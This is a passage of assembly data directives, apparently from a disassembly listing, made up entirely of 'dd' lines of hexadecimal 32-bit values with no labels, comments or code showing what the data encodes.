		dd 0B4C70368h, 0EC343300h, 94172B6Dh, 4D680048h, 824257Fh
		dd 0F874B804h, 4A671600h, 0FECACF39h, 26550BBAh, 0F68034F2h
		dd 92E90FB1h, 2AAE58h, 954488C1h, 1335FAh, 69023F54h, 0B73183CFh
		dd 0E17EBD00h, 591DA75Ah, 0FC65E0C8h, 0EAB37B15h, 93E2F2h
		dd 703862DDh, 0F7252877h, 21ADFB00h, 6EC98A17h,	0FEF20C0Dh
		dd 28B1308Ch, 69881403h, 0F88D7487h, 719C7D96h,	8F722678h
		dd 160902E9h, 0B4A0DAA9h, 0BE634EE7h, 47193D00h, 0D7C1D991h
		dd 74FCA82Ah, 0EF420CB9h, 7031D8A9h, 0B8E13B18h, 0FEC12510h
		dd 901430B7h, 637DA531h, 0D73A0203h, 0F817ACA2h, 54C306h
		dd 0C5E7AFCh, 2034DE92h, 6D10A301h, 127BD55Fh, 2E79F451h
		dd 0A3554980h, 8CF6F5B2h, 565E600h, 3BF20ADAh, 0C6B851h
		dd 0D2E0A89Fh, 0F1247512h, 87A14700h, 56C8AE2Fh, 583F6FC2h
		dd 0B1258E20h, 0EE01BF01h, 772D3836h, 0A8EFBA50h, 46FA251h
		dd 11291E96h, 544808Bh,	8500D1D0h, 0BA9E2575h, 34676F8h
		dd 33D8F32Ch, 1E88F196h, 8600CF80h, 5B0EBA51h, 23ACFDh
		dd 0CCC99E3Fh, 0F86A1CE7h, 7AA7D00h, 20125401h,	503E608Dh
		dd 0A13264C1h, 9FDBBC07h, 7E6073BDh, 91C88C3h, 497B789Eh
		dd 0D402DA81h, 8CA8819Dh, 1E5DAEF8h, 74EEC4h, 733E6022h
		dd 91A23ABh, 8476BE00h,	0BA3BE55Ch, 39226081h, 1D4A1E1Ch
		dd 7DB8701h, 6EEC58C2h,	670D6E1h, 0B28C0014h, 0ACC5F135h
		dd 0A1C05EC9h, 0FDB6D925h, 14883C19h, 288429h, 94D187Fh
		dd 86008004h, 0B6BC1DB4h, 0D06CA2C8h, 0A9B80410h, 4AA7731Fh
		dd 0EB33FE00h, 0FB52CF4h, 4F0CC8DDh, 0CD67B420h, 69006D2Bh
		dd 0E3F9A5E5h, 39A528Fh, 9B75734Dh, 4CD06C05h, 9217E690h
		dd 3F00685Ah, 3D7CFDADh, 83D514AAh, 2E00F73Ch, 13893898h
		dd 0D4EDA0C8h, 72008622h, 342DD7BEh, 7D9B1153h,	61F300DEh
		dd 66CFFF2Eh, 700B356Ch, 1C283Ah, 0C6A69B92h, 0CE7B0083h
		dd 0D2930BB6h, 0D800905Eh, 3E75038Ch, 1745184h,	0BA0AA27Eh
		dd 0CC2C1DCAh, 0BF00EABEh, 0C8C9BC57h, 0A3AE76h, 0EFD45A3Fh
		dd 0DD7F7086h, 0DACBB400h, 7D6C5574h, 0C6FB07D7h, 0E086522Dh
		dd 0FF65681Eh, 2C1ABB0Eh, 0B000FE3Fh, 863C8CE0h, 7898E414h
		dd 0B77AF6h
		dd 74761F56h, 0EA2BC730h, 4339E518h, 15A1C68h, 0E73F283h
		dd 0EB68987Fh, 7109F4E0h, 0CE8D3B00h, 81706474h, 5EBF0E66h
		dd 0ED001716h, 9F257E37h, 0DC6D58h, 0D892C5EFh,	0B33267h
		dd 9CC121F9h, 9351CB5Bh, 5DBD4E00h, 88C8438h, 1C9000CEh
		dd 0B7681D8Ah, 1500CAD6h, 0FA09050Dh, 539D72h, 0F93C1A9Ch
		dd 27DA4950h, 0C41DA500h, 81F01735h, 7F5C00A6h,	0F66F9D9h
		dd 0E8F7CD8Eh, 93000E80h, 0AB48432Eh, 0A530BEh,	3D5E95FCh
		dd 47126D5Bh, 0B08B3600h, 0BA740FC8h, 0F1AD00D2h, 207C5A2Eh
		dd 8CFC2B34h, 5DFEC700h, 9BD86F4Ah, 73950F3Dh, 7000A3Bh
		dd 0C6C0220Eh, 9EECDF7Bh, 36A49100h, 0C96004BEh, 0EAB400F4h
		dd 0C510CF9Dh, 9000A912h, 0C82F47A0h, 5C37ADh, 0F93B9491h
		dd 22DFD1E4h, 9A073978h, 65B07596h, 6886F150h, 0A21700CFh
		dd 3D730D8Ah, 8E007ADAh, 29759107h, 20B666h, 0EBA4A2F2h
		dd 0FAB53B40h, 0D09DAA00h, 1C986C83h, 59F800D1h, 0DDBE3D8Ch
		dd 8E007539h, 0A7328172h, 14D9101h, 5E18702Ch, 0CCAAAF6Bh
		dd 1298F8D7h, 22360F00h, 0ECEDC9A5h, 32D301EAh,	0E19EE954h
		dd 5BB06ADCh, 0E07DF8AAh, 0FAA50A64h, 0B05F2Ah,	2E2D613h
		dd 7890AED5h, 337D9E00h, 0E8C18D47h, 28260087h,	0AFCB85F1h
		dd 0D1003C9Dh, 231AD291h, 3015F8C3h, 0A638CA8Ah, 0CE3DAF50h
		dd 17E08076h, 0CB125D70h, 850F0642h, 28B423D3h,	90FD2505h
		dd 0F0404A8Fh, 9B40AC22h, 0A90B0017h, 0D0841898h, 0C0624797h
		dd 40F4C430h, 12B260C6h, 0FBB00AE9h, 15786600h,	5EA2A5h
		dd 2B85D7EDh, 1D285658h, 216EC517h, 5048EB07h, 0D89E20E3h
		dd 4A08FEFh, 16B72734h,	0C01481EBh, 3CB6F464h, 77FAC58h
		dd 9940721Eh, 52239870h, 0ADC00556h, 0C08F9E42h, 0A14FF3A9h
		dd 8E07E4E4h, 0C65730F6h, 7E163E60h, 1C7F0CE0h,	0A820B580h
		dd 0C5182CEAh, 5110DBD1h, 0F2040038h, 547C0DA7h, 0D41D3EC3h
		dd 3A9C1B52h, 2DFAEE40h, 47497Fh, 5A094BA7h, 0E1D0E84Fh
		dd 342A0D0Ch, 6A48A2h, 0BE5808D9h, 314A818Dh, 0CB8CC901h
		dd 91791F47h, 253BE0h, 0DB0A2B10h, 0FFB766B6h, 7F5B4900h
		dd 0F65868B3h, 0B83700BCh, 2C09515h, 0E1007720h, 0B13D0410h
		dd 1D7DA60Eh, 0DC275DE6h, 0FB5A4165h, 0D0968BCFh, 5B005377h
		dd 0AC4B3402h, 0D16839h, 86FCED7Eh, 26CF61E6h, 0F00A0BEEh
		dd 0F060ADF4h, 36F5EA00h, 1CAA6D9Dh, 807C444Eh,	0D4A04CD5h
		dd 0DA005482h, 0DE32F9FFh, 3F16FD7h, 0F5771B06h, 7888CAA3h
		dd 762CF06Ah, 9F070754h, 4030D38Dh, 41A5C7h, 81CBBFDAh
		dd 54CA98B3h, 86F00D00h, 0A08CE9AFh, 1027123Ah,	90A8005Eh
		dd 0E1E7253h, 85674900h, 0A73107A4h, 0F0F200E5h, 9CF6DDCEh
		dd 621DD754h, 84009F24h, 0CF8223EAh, 58EC00DEh,	0F53EA925h
		dd 0E40E3A61h, 809897E1h, 0B1182415h, 303B0138h, 49A8BB9Ch
		dd 0E45961BDh, 8300DA7Dh, 0B2DC3D24h, 0B37ED9h,	0E3DB1156h
		dd 0B7406F7Ch, 4B86D200h, 0B8EAF965h, 1190085h,	140984F1h
		dd 2AFC6CD7h, 0CF0BD8E5h, 1F018F71h, 8E81018Ch,	0A3C09899h
		dd 0C7FA00B4h, 0A067E038h, 0EC1EF1CEh, 0E87848Bh, 80B9187Ah
		dd 72FB8F46h, 0CFCC0182h, 0D763835Dh, 1305F0FEh, 0A1012900h
		dd 0F678098Fh, 0CA701DDh, 5B0B2F5Ch, 36873042h,	84EEE200h
		dd 449C4D61h, 0B6B40008h, 4A6D0D9Bh, 0D8003896h, 0F8459343h
		dd 5F4635h, 3BDC2E8Fh, 3D782A05h, 7B07CB00h, 9DDDCD63h
		dd 0E2EF00A4h, 27472FE1h, 6416F3F9h, 0C004FE6h,	751ABB3h
		dd 5C414870h, 0D2143600h, 0F49A0281h, 7124589Fh, 62E50EFFh
		dd 9501305Ah, 0CD3EA17Fh, 9B050AEh, 880FCD7Bh, 206A5EB0h
		dd 21504D36h, 31990F2Dh, 86006029h, 9B973DA1h, 63683360h
		dd 94ECF3Eh, 0EDF170F3h, 0D1C46024h, 81B57F94h,	1597CA20h
		dd 64D0E99Ch, 5E02227Dh, 3C957100h, 27DE6740h, 3B842h
		dd 6FA2108Dh, 1D7203B3h, 0A22C5724h, 5937B11Eh,	0CF4015D7h
		dd 0FA349D5h, 3E0BAF84h, 0DA0E0092h, 99161250h,	29DDC530h
		dd 185398DCh, 7935957Dh, 3C59338Bh, 3F77501Ch, 0C40164FAh
		dd 0C272EC44h, 104086FEh, 3E7620Ah, 6CD4C10Bh, 53D8BC63h
		dd 3200F0A6h, 97AE9E6h,	48932C1Eh, 0F13B5BFCh, 0C8420078h
		dd 1FB50D2Bh, 0C5004FEBh, 59FB2637h, 0E862A5h, 1181EF17h
		dd 0BFC3476Eh, 0F6F29800h, 1C3908A2h, 0C51A006Fh, 46240755h
		dd 98002F76h, 0FD7D4111h, 0E0FBB475h, 3AC20030h, 0A60A1F62h
		dd 8C00A94Ch, 73E4A457h, 1C46F6ACh, 8040F81Bh, 0E5621EE1h
		dd 0AF00138Bh, 3A81775Ah, 9D6484h, 0E32375EAh, 0E55EA5ADh
		dd 7301247Ch, 173DD8A6h, 98403CF2h, 2CF82312h, 6DDA769h
		dd 18D25A07h, 5638C1Fh,	92754C00h, 2A35B8F3h, 0FD4315Eh
		dd 36A7B4Dh, 8DC9F4A0h,	50C5E302h, 0D800C135h, 0B9D20C7Fh
		dd 0F44F00ACh, 63FBA728h, 65005C6Ch, 3DFD7CE4h,	0F99C9C7h
		dd 85A2D10Eh, 40793F6Dh, 6FF42725h, 0C65EB100h,	0D830F5ACh
		dd 0DE8300D6h, 10A4607Fh, 0FF2EF435h, 0A0B0DBAh, 0C5F50305h
		dd 0FD3AD83Eh, 0C3E5F498h, 565E2C51h, 24C8B900h, 9FD90EF2h
		dd 0A36B049Bh, 0D1D00317h, 83B7268Ch, 0C7287F29h, 0DC3AB95Ch
		dd 78DF86E0h, 0B250C073h, 3CFB4DB8h, 0D5921100h, 6F94C4CEh
		dd 8E9C0060h, 17C1F13Fh, 65241B25h, 18F60D2h, 0D7D6806Ch
		dd 38556Dh, 216A02CBh, 0F0F34C85h, 0A079E660h, 8FCAEEh
		dd 16D04AB9h, 99209117h, 9DB8E704h, 0E18095A8h,	0A008CD4Eh
		dd 0E132F5h, 0E7DC1ABAh, 0FA72912Eh, 5A700E00h,	0EE371C58h
		dd 768001B0h, 0B822D61Dh, 410A3DDh, 0BE8CC7C0h,	2ADF877h
		dd 45A7B301h, 605DFE83h, 0AF0DA0h, 0CD8FF615h, 4447A94Dh
		dd 6F931600h, 0DF717379h, 0EE65FE9Ch, 3088001Dh, 3516850Ah
		dd 0A50074DDh, 67C4C3B7h, 7D02100Eh, 2B6800CCh,	0F5AB4A17h
		dd 611CC71Ch, 4740133Bh, 245B5AF4h, 0C27C7Fh, 2DCF431Bh
		dd 81AB28C9h, 9000A77Dh, 0A38E1CF4h, 0CB985Dh, 34EA0BF7h
		dd 308D7E8h, 8056112Eh,	0A4BCD200h, 38D73F4h, 77F8A809h
		dd 709FAD3Ah, 5EF16268h, 5D07D500h, 35869318h, 15DA00D0h
		dd 0AA1AF59Fh, 4B3A506Ah, 8707804Dh, 4106A0EFh,	3E0AB07Fh
		dd 0FE8E751Ah, 127C828Dh, 0B25C0051h, 3B6DBA6Ah, 0C25C0900h
		dd 0FA283262h, 1DBC0018h, 7C22EB37h, 76507EE4h,	0A500E8BCh
		dd 7FB0DBE2h, 3D77E9CBh, 5D00AEC6h, 3112431Ah, 1760E2FCh
		dd 0E18AA611h, 0F23D0094h, 0A42671EDh, 0C22EDA90h, 6E00038Ch
		dd 60F65AEBh, 3F7A7DB6h, 0C60025FCh, 0D1E93037h, 521454E1h
		dd 0F8F0BFh, 0DAA7E81h,	72420D7h, 0DCAD1013h, 2DEFC09Fh
		dd 0A1002AB5h, 69B3273Fh, 5A7BA0h, 0B8D037Fh, 0B0BBACD0h
		dd 6400AAE8h, 77249858h, 4DD111h, 0EDCD421Dh, 0AD2895A6h
		dd 55625700h, 8E66F598h, 0D2D80063h, 3351C5CCh,	0C6009CA7h
		dd 64C8F152h, 0BEAB9Fh,	192AA862h, 1B2EC9EBh, 959E7E00h
		dd 88427B83h, 0C0893D75h, 20AEF400h, 0ECA59A17h, 0B3DFE900h
		dd 13F92A4Dh, 0B64700B7h, 8A89DE1Ch, 1100C146h,	0C6B922EAh
		dd 56AB67h, 7B520D3Fh, 7CB6D386h, 0C848472Ah, 13EB2D00h
		dd 0C38C243Ah, 0E6A0029h, 80347244h, 7C0E14F8h,	207BCC37h
		dd 0EC19DA92h, 49D3D03h, 20515A80h, 971EFD87h, 214F4700h
		dd 8E5C9C90h, 35EE8Bh, 24F4026Dh, 921604F8h, 0F9363F00h
		dd 10C8A9CDh, 0C01400D8h
		dd 0C7BE6F84h, 7C0C219Ch, 981CB12Ah, 8FC009Eh, 0D42D1165h
		dd 5E00C37Fh, 1502958Eh, 0A576DB1h, 0FB37788Ah,	0E56008Ch
		dd 0F1FF9E4Ah, 69DD7600h, 0B46E8B55h, 0B09149ABh, 5E045B48h
		dd 812217BCh, 0F965B218h, 0CAF8F324h, 0B1F46325h, 0DF0D6700h
		dd 0BEA26E15h, 11BA0006h, 0C12009F1h, 83C9447h,	0E9F88362h
		dd 0E8E24D0Fh, 0D79289h, 0D5D94A16h, 2F3B91CDh,	44CBDEEh
		dd 0B47000DFh, 0B316DF12h, 0D97E7Ah, 7117F515h,	0AEFF42A8h
		dd 0BF73502Ch, 400D82Ch, 33658A4Bh, 5C914Fh, 6C237EF6h
		dd 4E0057D7h, 0D8FD5A28h, 7FDB793Fh, 5102009Ah,	0A33C105Fh
		dd 0F079174h, 0F2117889h, 0B437CA50h, 0B0DA3E9Ch, 67F95089h
		dd 0E0581000h, 4E07389Dh, 92140BBDh, 0B7D9D6B0h, 76A600DBh
		dd 0A9590F3h, 6D00A1FFh, 441ED3BBh, 0D87582h, 7B53E02Eh
		dd 0EC5F603Ah, 0BEF66703h, 0A0ACE826h, 71D06BAAh, 357B20h
		dd 7359CA4Ah, 0B99AB248h, 71150600h, 0A27ECB3Ch, 74B300D5h
		dd 7B0C143Ah, 41002DADh, 65E42A6Bh, 0E2678Fh, 6DBB2655h
		dd 0F04045A0h, 2AD98D18h, 5A21E0h, 9FFF44CFh, 0E2C0CAA8h
		dd 0FD91BE0Fh, 80836B7Ch, 0AEA0F358h, 0D710055h, 0D4C3B6F6h
		dd 0AB00F197h, 0FEB84390h, 1A8964Eh, 0C76083F4h, 0C47698AAh
		dd 14480F1Bh, 2A650044h, 0BF2BD805h, 593E00CDh,	29EDCE9Ah
		dd 0B100BE97h, 24B48985h, 9594DE32h, 0F2701987h, 624211CDh
		dd 0D43E9C41h, 99009628h, 7EFB30C3h, 187BF74h, 866B6294h
		dd 0CF933A92h, 0CA73D9D8h, 0FF7DEB00h, 0A7D27675h, 98968033h
		dd 37BFAF00h, 8140F10Dh, 5D590025h, 835F67F6h, 0FB98A0FDh
		dd 0F3E12F00h, 84DC747Dh, 0CCBA00C2h, 0DFD1A21Ah, 0F63B3A0Ah
		dd 6AA4043Dh, 3080D9BBh, 0E848ABA8h, 1E3C00C6h,	7DA9715Fh
		dd 91000A32h, 884E1217h, 3B555C97h, 2900B104h, 0A882DA6Eh
		dd 0C1E4A2FFh, 4D263504h, 43C03857h, 0FC06787Bh, 933B009Bh
		dd 0A2C50B1Dh, 700A49Eh, 15EA99F2h, 378341Bh, 9A02F97Dh
		dd 14AB7E1Dh, 0A2C3A6BAh, 0E1F0C281h, 0D4DB21E0h, 59260F01h
		dd 0B600301Eh, 0C66D6ACCh, 5F2800A0h, 62112303h, 0E13847BDh
		dd 0D2E698C4h, 7ECB041h, 2152265Ch, 0B272422Dh,	0E4F93BC0h
		dd 0F0983Dh, 194632C0h,	0E88FFE80h, 4E9E004Ch, 6173628Ch
		dd 8D01064Fh, 9DDF7B18h, 6820FEFDh, 0FBB4002Eh,	0DB9A16A3h
		dd 0AB1C61D3h, 5C025B0h, 83B19D29h, 40E809h, 1770370Ch
		dd 58F24281h, 0DABB3400h, 0CE0311ADh, 83150AAAh, 0FEE53A9h
		dd 0D4226643h, 24E80BC2h, 0E6798C1Fh, 67BEAE00h, 8B0366C8h
		dd 10FE70h, 0CCE11989h,	0C17B620Ah, 3F63379h, 7C3EE0E0h
		dd 453004Eh, 2494059Bh,	977B0049h, 4FDFBF3Ah, 0B57C275Eh
		dd 0FF1F301h, 5570F031h, 12861430h, 0CDFFBEh, 47622659h
		dd 0B5FADB53h, 9E0098B8h, 8C6B769Dh, 752D59h, 1070D668h
		dd 0B642D294h, 0E918DD00h, 0CE35780Eh, 91BC07F8h, 90D01E0Ch
		dd 136EC557h, 6F85A200h, 8BE7E14Eh, 70970495h, 0C0E90854h
		dd 9FA73F74h, 0B13E4CB2h, 3ACC8E18h, 83CB8E1Ah,	0FBB93FEDh
		dd 33200C77h, 0CD393B5Bh, 0D295B51Ch, 0E06C1E87h, 0D57A9C63h
		dd 31EC2C44h, 8A272022h, 0C37CC040h, 602100B7h,	0FFF0CDE0h
		dd 0A003091Ah, 0C6297324h, 68C0876Bh, 0E63F59h,	99AE984Eh
		dd 4F425AE8h, 50C9AB01h, 27F72F84h, 3B7B6080h, 3A577954h
		dd 3400B44Ah, 312DF592h, 0AFAC0595h, 0C07CA3CEh, 27AE3F16h
		dd 0E1B87900h, 0D7C88D37h, 569F00E7h, 2DB0D646h, 70014FDDh
		dd 0DCE8955Ch, 0DFCB65Fh, 9B9A00FCh, 43A8E31Eh,	0B1B82A7Eh
		dd 96991A1Fh, 8CE78100h, 4AA49Ah, 0F425238Dh, 0F91E24F5h
		dd 0C3894400h, 4573D95h, 0A5AA005Ch, 0E0AB73C1h, 343E496Eh
		dd 2F7785F5h, 0B9807207h, 71BA2Dh, 0F7F68BC2h, 0DF35AC0Dh
		dd 81788D3Dh, 5FD8B8F3h, 0FBDC49C6h, 53557DBBh,	0DDE104FCh
		dd 6B1C4478h, 34BA804h,	0EA4633BCh, 4CA09A87h, 362E9D66h
		dd 18003BCBh, 0A9CA489Ch, 963C3011h, 24630A39h,	9FC9BC1Eh
		dd 52293200h, 33EFEAh, 0A13456F1h, 4C6139CAh, 1344CC00h
		dd 0F1841B8h, 0A8870771h, 118F42F6h, 809782DFh,	5EEC5850h
		dd 0CA9647h, 0A9E3DC66h, 5F0AF4D3h, 0E9579500h,	974D87D4h
		dd 0B9BB02CAh, 0FE124BE3h, 2014AE62h, 3BE3823h,	3F8E07FDh
		dd 17CAF00Fh, 9100B687h, 58561B11h, 0ADF80744h,	2042DF20h
		dd 8A83CA6Dh, 3636915h,	0D0593694h, 5E290740h, 0C9CF3EF9h
		dd 41218C10h, 0A642605h, 58813F6Eh, 30DCA590h, 0EB33E8Ah
		dd 0F1576580h, 0F67B479Ch, 734B2900h, 35EEB149h, 61383091h
		dd 0D0F99469h, 39009970h, 0D43466Ch, 0F580AFh, 0E5674F1h
		dd 0A7C3DDEh, 32751818h, 0A855C8h, 0A704BE4Ch, 8EE03EB1h
		dd 1F5CB256h, 0C78ED80Ch, 701CA09Bh, 0C422552Bh, 0C0AEC140h
		dd 854A9678h, 0A165E201h, 8915E4Dh, 4534589Ch, 93A3EB8h
		dd 428F4F78h, 540D7020h, 0B70039B2h, 9B6C4AF8h,	0A2E3D788h
		dd 0CAFCA3FDh, 0E3886ADh, 0F5B1338Ah, 20A9DFA0h, 8600BF70h
		dd 1E7D2937h, 90AE3BBEh, 0AB9F011Ch, 1FFE14F4h,	8003E5EEh
		dd 0DD4BA479h, 934A8h, 0A1938E81h, 232D4C20h, 0E0F05F03h
		dd 7E6B77Bh, 814468F1h,	5A8879Bh, 0E8A5001Ch, 0F8847470h
		dd 0F49F7D07h, 0BF50C4D1h, 1CB54A2Eh, 3CACD41h,	0E27C5EDAh
		dd 0E15122h, 90168A6Bh,	0CD658EA3h, 0D00A6ECh, 29C25549h
		dd 546F6C95h, 48DC87Bh,	16C89DA9h, 0E87C8046h, 4092B9CAh
		dd 0B56DBB00h, 0FA60A52Dh, 82981815h, 64E038FDh, 1C41CB60h
		dd 30391930h, 0AA88A30Bh, 0D8A83EF8h, 0E50E0ED0h, 0C0070617h
		dd 85E128ACh, 52DA70B9h, 140080D3h, 0BFDE6E8Ch,	16064572h
		dd 5547E039h, 6C595061h, 1F973AF8h, 9367DB07h, 2C5E10CEh
		dd 1B0924EAh, 0A0B760F6h, 0AC8BED14h, 980A00ABh, 3A4E5F9Eh
		dd 6A5C9AD5h, 0E8C67D23h, 61C8C4h, 7989C3FBh, 296D2DD5h
		dd 0A0ABF92Ch, 5AF8B105h, 0D41EE840h, 0ED59BE7Dh, 90B92E20h
		dd 0D64A049Ah, 8825AA37h, 0E004550h, 4D345E1Eh,	0E468695h
		dd 32773DCFh, 9E12BD60h, 0AE07086Fh, 39C8C655h,	67E66411h
		dd 0EE9B1834h, 1502003Fh, 0B6F85C41h, 0FA60D8D5h, 0EDAD88A8h
		dd 0E9E0C066h, 0B2987912h, 0F4004774h, 0B76FB5D4h, 5A6E7Ah
		dd 0CC948617h, 0FCF701CAh, 38406063h, 57F10F66h, 3480D9FAh
		dd 0EC44C947h, 8376EB79h, 68079B7Fh, 0E99203BFh, 804996C7h
		dd 0FD9F8754h, 90B1E6h,	2DEB3142h, 33043F89h, 65AA4670h
		dd 0D440AE84h, 9C888680h, 0B7480092h, 171A249Dh, 0F400CD63h
		dd 0BE167FC4h, 126886Fh, 3853338h, 0C8CB73F6h, 0A13C298Bh
		dd 0DCC406F5h, 300B94h,	853D244h, 0CAC3A359h, 92F0FB00h
		dd 0F280DBC8h, 0FFBA006Fh, 0AE94CDA2h, 0F6718C31h, 5F09A30Ch
		dd 38240F3h, 0DF1D2F21h, 4097BC08h, 6CEE3634h, 72EBE801h
		dd 0B9152E53h, 0B67F7980h, 930DD8C6h, 5784B300h, 0CDDB30F2h
		dd 82151873h, 32C329E4h, 0A393A600h, 4CA21168h,	91D400B9h
		dd 559DD218h, 3A18153Eh, 7731E95Bh, 399C00C2h, 0E5FEE7F0h
		dd 137C6675h, 7901B5EEh, 0DC2F7340h, 884C89EEh,	8DED3031h
		dd 8EC9FD0h, 0E2E44500h, 6FE78386h, 0FFDE17E6h,	5FD200C4h
		dd 9EE8BAD5h, 5546F70Eh, 78F4EC7Ch, 3BB4001Ch, 0D2D5FF89h
		dd 7800E0E5h, 0FE822603h, 25265CDh, 0D9E7BFAh, 0D0900BA3h
		dd 0B400A7F8h, 80308D75h
		dd 0DAD9B8h, 3944EAE9h,	0FE837606h, 0EC04B900h,	6C4F12F9h
		dd 6F720C50h, 3E084CABh, 0A4FDB800h, 0E2BF83D6h, 7995EA31h
		dd 0E9DF00C8h, 26CDCC4Fh, 81EE4BF6h, 1AEC0700h,	0D6366CA3h
		dd 1BE000EFh, 0F2D0674Eh, 41D71EAh, 5831E9E4h, 0FF70A319h
		dd 0B61C0030h, 5275B53Ah, 0F40D8606h, 8154D304h, 1C0DA2DCh
		dd 7CA52769h, 0D1AAEC00h, 0CF396FAh, 0B2DC5400h, 0E37DC065h
		dd 0DEDF1DEEh, 420F81F2h, 806F0486h, 0C6C3ED1h,	89E6C5h
		dd 35EC6193h, 7CEDD0C9h, 58C5D97Eh, 64400F05h, 84606D0Dh
		dd 0DEB0C1F9h, 8383BD26h, 2E82F428h, 0B3BA8880h, 0C33200A4h
		dd 9092A06Bh, 0AD791D1Ch, 0D7A7A926h, 1A9B2F00h, 50FAAAF5h
		dd 1584B479h, 88EDCE75h, 0A1510818h, 0E354CB4Fh, 11182694h
		dd 0A30F52Fh, 640D0DA3h, 0E4286EC3h, 0B8508512h, 0D0C48E4Ch
		dd 0AB036828h, 5398E1CEh, 0AA4871FBh, 40286FF8h, 0BBF0328Fh
		dd 2E3A071Bh, 978CDC2Ch, 0A6087059h, 0E004936h,	753883A4h
		dd 0CEFA6E62h, 71EEA0h,	0AACBEB8Ch, 155BC9B6h, 9CC126ECh
		dd 0E47B0D03h, 88F07DB8h, 37019238h, 0DFE92E95h, 418E565Fh
		dd 805F3978h, 0B4B11535h, 0F8A474D2h, 0B014AA30h, 3A4B236Fh
		dd 0D93130Eh, 20900E3Ah, 148750E5h, 38224C8Ch, 78BE8E00h
		dd 0FB88996Ah, 0D4170011h, 97F6EFA7h, 0B502D9FCh, 2854B613h
		dd 0B9DCA3F4h, 0FA09B8CDh, 518B6098h, 0FFCB9495h, 963C8002h
		dd 0FD31F6DDh, 3D8586E0h, 0B43D4A6h, 298A7511h,	218388F4h
		dd 8864613Dh, 0A086CEC1h, 54D554h, 7648EB2Fh, 0CA4D462Ah
		dd 1761D800h, 0F7E16C09h, 0F0651455h, 0F882B457h, 5C448777h
		dd 96BD7A00h, 1C8F174Ch, 7D2F133Fh, 7E9201E8h, 3081E049h
		dd 2748F841h, 0A41A2A33h, 935ED800h, 75986330h,	3A2100A9h
		dd 7A0F79F4h, 5100ADC4h, 2AA6FCC6h, 46C808Ch, 0A97EFBD1h
		dd 8DD088E7h, 0BBAB218Ch, 5FBC5787h, 9154FC3h, 762F7F71h
		dd 1F4D2F85h, 0B0EBD58Bh, 4A158E00h, 9F160A37h,	99315214h
		dd 85E5C1D0h, 72C8DF92h, 0C9AF0E67h, 714CF86Fh,	191F8041h
		dd 0DA1387AAh, 7DD87900h, 39014204h, 0FA5164h, 282B2FB1h
		dd 94F0EB3Dh, 0D0E6A200h, 0DDC6A7E2h, 0E19015C5h, 0E758D888h
		dd 0BB0CD204h, 0A9EFC05Dh, 0F805D0BCh, 0E13A586Eh, 174AEC20h
		dd 14EF1F8Eh, 0D7708406h, 26C88810h, 287ECF24h,	8CB00C03h
		dd 7D45A0A1h, 0CE500012h, 7F16F34Dh, 6814EEF2h,	894BDDAh
		dd 3EA8162h, 8412D759h,	0F8E04024h, 0D4AE2C40h,	83F31FCFh
		dd 0AAEE83B3h, 0BEF8F819h, 0A024F91Fh, 49402887h, 5E52C06h
		dd 795B4AAFh, 0A0D840F5h, 21264FA5h, 7594FF04h,	1088EA57h
		dd 84EF26A1h, 527D08ACh, 0EC6D8C84h, 2B48488h, 0F5CB686Eh
		dd 0A04E328Ah, 0DB0AF4A4h, 0F359BA9Ch, 9A5A9503h, 0A4A388CDh
		dd 429499Dh, 1C815E3Dh,	89F84A96h, 142022AFh, 0C0C40A92h
		dd 2DDE02DDh, 0B31B02D4h, 0D0EE9714h, 8061086Ch, 407F3599h
		dd 451DD4h, 88787504h, 5079CB96h, 97FC0084h, 0A0DDA157h
		dd 410C4452h, 0C09B910Ah, 3C64B187h, 7509BB80h,	3C78CFB4h
		dd 0BDA38h, 23A07E34h, 4311F513h, 76E7000Fh, 0EA73687Ch
		dd 84A14CDAh, 0B2E63283h, 270608A8h, 0AAF73F1Ch, 380E2464h
		dd 20133059h, 84A00049h, 0B6A5C0FFh, 0D82AEC00h, 0F5AF1BCDh
		dd 394D0080h, 786BBFC5h, 3D018158h, 33C72FF4h, 25CC22E0h
		dd 2686FCBAh, 0A85B39h,	766D0874h, 1C243A7Eh, 0C243BCFCh
		dd 0DDA9D82Ch, 25F0A038h, 0A311841Eh, 80086A8h,	0A7176E58h
		dd 13153C9Fh, 84F442E5h, 78D838D5h, 2157427Dh, 97C7003Ch
		dd 0ED90A609h, 8492D077h, 0C478E051h, 1800ABD5h, 0B13770E1h
		dd 9D0D74h, 475AFF0Ch, 0D0BDD2C0h, 0B8A01424h, 6436130Ah
		dd 0B0BC1B0Bh, 883A0800h, 6D604B49h, 110BE368h,	3BC3030Ch
		dd 0A5A4D0F2h, 48CD8110h, 3295AC00h, 0D38B2341h, 1B01AE7Bh
		dd 0E1B0E917h, 8130D1A6h, 0A400CF3h, 3AF8C031h,	0C0907A4Ch
		dd 7FA6378Ch, 763F02EBh, 55D36570h, 0E4EEA891h,	0F92C230Bh
		dd 1960E8C9h, 12FBCBh, 0FD287349h, 0D2E1F8BAh, 82F6F2Ch
		dd 567DAA60h, 0DC060BABh, 0C080D911h, 249A0D91h, 0EC5C8703h
		dd 486CD8A1h, 0E78030F0h, 25CD4609h, 0AFFFA900h, 0C3EEFCFAh
		dd 648A0560h, 0C069D79Eh, 5BCDE9F5h, 9A0498A0h,	78BADC2Ch
		dd 17E0F402h, 0C5DC80C3h, 150C05A3h, 7878EE14h,	2318673Dh
		dd 92C27196h, 64DECB00h, 175FD89Fh, 0D7B006Ch, 4786D558h
		dd 0F703633Bh, 0F3159B84h, 0BB7280A7h, 2913243Fh, 85826348h
		dd 7E0089A2h, 903DD5E7h, 923A0272h, 0E6D06E45h,	0F7F1DC48h
		dd 7A77DD04h, 0F8D05CFBh, 0A855F2F3h, 82DF6594h, 96BF8080h
		dd 3829BD67h, 79166089h, 0AB2ECC20h, 1C760004h,	0FEF73B4Bh
		dd 5806EA96h, 460351F4h, 0DC8E0080h, 59139444h,	42600675h
		dd 17BDD3C8h, 8CD4BB68h, 0F2A9E026h, 3A407C00h,	5192ED31h
		dd 0D0535C79h, 0CC6084C2h, 74AA9C49h, 92006FBCh, 0E85F884Dh
		dd 3F48A64h, 0D89B8569h, 0B1030990h, 8E5F1A26h,	9DBEE017h
		dd 0CC64007Ah, 7D47A4A2h, 3912027Bh, 0C4207405h, 12B196Dh
		dd 3F1D4B5Fh, 0E4D8085Eh, 63005BA7h, 73BFF1FFh,	260FE9BBh
		dd 0AD23031h, 2A0D6A1h,	0F9EF9313h, 9C95D0A4h, 8D027400h
		dd 0B30E2416h, 9EE4488Bh, 0AF143363h, 60C78144h, 469876F5h
		dd 80D3483Dh, 0CA10E132h, 124A94D4h, 30A49572h,	552A0888h
		dd 2EAFB101h, 81EB40D0h, 0D64468F2h, 0E93F0011h, 0FEB8608Ah
